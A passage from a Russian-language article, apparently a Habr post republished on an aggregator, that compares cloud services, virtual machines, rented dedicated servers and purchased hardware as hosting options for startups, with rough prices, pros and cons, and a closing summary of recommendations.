                                2. Когда вам нужен новый функционал. Например, поставить вот эту новую библиотеку обработки картинок или использовать вот ту хипстерскую базу данных. В варианте с shared-хостингом это сделать не получится. Вы пользуетесь тем, что для вас предусмотрели упомянутые выше бородатые дяденьки.

                                Если ваш сайт больше похож на «убийцу Убера», чем на «блог на Wordpress», есть две альтернативы: собирать свой сайт на облачных сервисах или смотреть в сторону полноценных виртуальных машин.

                                3. Облачные сервисы


                                Примеры: Amazon Web Services, Microsoft Azure, Google Cloud Platform.
                                Примерный чек: от $1 до бесконечности.



                                Здесь вы собираете свой веб-сервис из огромного набора кубиков и деталей, довольно приятных. Вот у нас веб-сервер, вот база данных, вот очередь сообщений, вот хранилище для фотографий котиков, вот machine learning по ним, вот push-оповещения на мобильные — и ваш новый уникальный вариант кошачьего Тиндера готов.

                                Если разобраться, как работают эти кубики, можно довольно быстро собирать рабочие продукты с минимумом программирования. Приятный бонус на старте: оплата обычно идет не по абонентке, а за фактически потребленное количество ресурсов. Например, по числу запросов к базе данных, объему файлов в хранилище, числу разосланных уведомлений и т.д. То есть оплата за хостинг начинается с нуля и растет пропорционально росту нагрузки. Это позволяет стартапу долгое время масштабировать свою IT-инфраструктуру, понемногу увеличивая сумму затрат на хостинг.

                                Минусы облачных сервисов гармонично вытекают из их плюсов.

                                1. Вы ограничены тем функционалом, который заложили разработчики сервисов. Конечно, довольно широкий функционал дает много возможностей, но (!) чуть-чуть поднастроить его под себя не получится. Работает правило: используем как есть или переписываем с нуля.

                                2. По мере роста потребления ресурсов стоимость облачного сервиса может стать неоправданно высокой. Да, этот вид хостинга позволяет начать с $10. Для прототипа продукта или запуска стартапа с первой парой клиентов — прекрасно. Но если проект взлетит, то появляется риск платить пропорционально $10 000 за пару тысяч своих клиентов. И здесь нужно хорошо просчитать экономику.

                                Но даже если затраты на хостинг были заранее рассчитаны, вам все равно может понадобиться съехать с облачных сервисов. Причины могут быть и локальные (технические ограничения), и общерыночные (изменения российского законодательства). Важно учитывать, что просто «взять и переехать» из «облака» не получится. Придется дорого и долго программировать. Это тоже вариант, и его нужно просчитать заранее, чтобы понимать стоимость риска.

                                Облачные сервисы отлично подойдут для быстрого создания прототипа, в качестве бэкенда мобильных приложений и других подобных сервисов. Проверять идеи для стартапа — тестировать гипотезы — с их помощью тоже очень удобно. Когда нужен чуть больший контроль над хостингом, можно использовать полноценные машины (виртуальные или физические).

                                4. Виртуальные машины


                                Они же VM (Virtual Machine), VPS (Virtual Private Server), VDS (Virtual Dedicated Server) или просто «Виртуалки».

                                Примеры: Digital Ocean, Selectel, Amazon EC2, Azure VM.
                                Примерный чек: $5-$100 в месяц.



                                У хостера стоят огромные железные сервера. Их ресурсы нарезаются на порции, которые выглядят как небольшие сервера со своей операционной системой, — именно это и сдается клиентам в аренду. Вы получаете машину с полным доступом и нужным количеством ресурсов (ядер процессора, оперативной памяти, места на дисках и т.д.).

                                Плюсы очевидны. Это полноценная машина, на которую можно устанавливать любой софт и настраивать его любым способом. Если с физическим сервером случится беда, хостер все починит сам, вы даже об этом, возможно, не узнаете. Кроме того, размер машины можно увеличивать по мере необходимости. Например, начать с варианта за $5, а потом взять нужный дополнительный объем, просто нажав кнопку «Расширить» и заплатив за него. А еще здесь можно запустить несколько машин и разделить между ними роли (веб-сервер — база данных) и нагрузку (веб-сервер 1, веб-сервер 2, веб-сервер 3).

                                Минусы тоже есть. Теперь настраивать под себя операционную систему и софт не только можно, но и необходимо. К тому же приходится следить за локальными процессами работы (хватает ли оперативной памяти, достаточно ли места на дисках, не упала ли база данных). И делать это нужно самостоятельно, постоянно и лучше профессионально.

                                Виртуальные машины подойдут большинству стартапов как на старте, так и во время бурного роста. Главное, чтобы в команде был хороший админ (или хотя бы была возможность привлечения такого специалиста). Всем стартапам стоит посоветовать сразу делить сайт на части и использовать несколько машин вместо одной большой. Это поможет расти в будущем. В момент, когда расходы на хостинг составят пару сотен долларов, можно будет задуматься о переходе на физические сервера. Именно задуматься, сесть и посчитать, прикинуть варианты, а не переезжать в «пожарном режиме», когда страдают клиенты и горят нервные клетки основателей.

                                5. Аренда выделенного сервера


                                Он же Dedicated Server, или просто «Дедик».

                                Примеры: Hetzner, Selectel, Servers.ru, Hostkey.
                                Примерный чек: $50-$500 в месяц.



                                Это аренда настоящего физического сервера. Можно выбрать любую конфигурацию «железа», любую операционную систему и получить мощнейшую машину. Либо поднять свою систему виртуализации и самостоятельно нарезать нужное число «виртуалок». Трюк в том, что аренда выделенного сервера обходится в среднем в 3-5 раз дешевле аренды «виртуалки» соответствующей мощности. Или, иными словами, за те же деньги можно получить в 3-5 раз больше ресурсов.

                                Но тут есть значительный минус — теперь под вашей ответственностью не только операционная система, но и само «железо». Если сгорит, скажем, один из жестких дисков, то хостер заменит его бесплатно по звонку. И если вы правильно настроили сервер и вовремя заметили, что диск сгорел, сайт даже не «упадет». Но если сгорит сам сервер целиком, ваш сайт не будет доступен, пока хостер не подготовит замену (это занимает от нескольких часов до нескольких дней). И есть вероятность, что сервис придется поднимать из резервной копии. Это тоже требует времени и может вообще не получиться, если вы к этому специально не готовились.

                                Чтобы избежать проблем, потребуется иметь хотя бы один дополнительный резервный сервер, а также иметь компетенции (сотрудника), как этот сервер заставить работать в случае краха основной машины. И то и другое стоит денег, и экономия при переходе на свое железо может быть уже не такой явной.

                                Арендованные физические сервера хорошо подойдут достаточно большим проектам с потреблением в несколько тысяч долларов.

                                6. Покупка собственного железа


                                Примерная цена: $2 000-$10 000 за сервер разово.



                                «Железо» можно не арендовать, а купить. Вполне рабочий вариант, если вам очень нужно освоить несколько миллионов, в смысле, превратить операционные (ежемесячные) расходы в капитальные (разовые). И вы точно уверены, что:

                                а) будете использовать купленное «железо» больше срока, за который оно «отобьется» по сравнению с арендой,
                                б) вам хватит мощности на весь расчетный срок.

                                Помимо разовых расходов, больше плюсов, по сравнению с арендой, нет.

                                А минусов хватает. Если на сервере что-то сгорит — это ваша проблема. В лучшем случае производитель сервера пришлет замену. Если мощности «железа» не будет хватать, то вы либо докупаете новые сервера (получив у себя зоопарк из нескольких поколений машин), либо продаете текущее «железо» на Avito и покупаете новое.

                                Также надо помнить, что каждые несколько лет сервера становятся мощнее в пару раз (закон Мура до сих пор работает), при этом цена остается сопоставимой. Если арендуете сервер несколько лет, то можете в один момент отказаться от текущего сервера и взять новый, за те же деньги, но заметно мощнее. Если сервер ваш — так сделать будет нельзя.

                                Резюме


                                • Если нужно сверстать лендинг или одностраничник, удобно будет воспользоваться конструктором сайтов. Проще некуда.
                                • Если сайт простой и написан на php, можно использовать shared-хостинг. Дешево и сердито.
                                • Для веб-сервиса с богатым функционалом можно пробовать либо Облачные сервисы (если вы любите и умеете ими пользоваться), либо Виртуальные машины.
                                • Если чек за хостинг высокий и хочется сэкономить, можно присмотреться к аренде физического сервера.
                                • Выбирая любой вариант, не забудьте посчитать, в какой момент станут критичны ограничения для конкретно вашего сервиса и прикинуть варианты, что с этим можно будет сделать.

                                Бурного роста и высокого аптайма!
                                Original source: habrahabr.ru (comments, light).

                                https://habrahabr.ru/post/338746/


                                Метки:  

                                Поиск сообщений в rss_rss_hh_full
                                Страницы: 1824 ... 1549 1548 [1547] 1546 1545 ..
                                .. 1 Календарь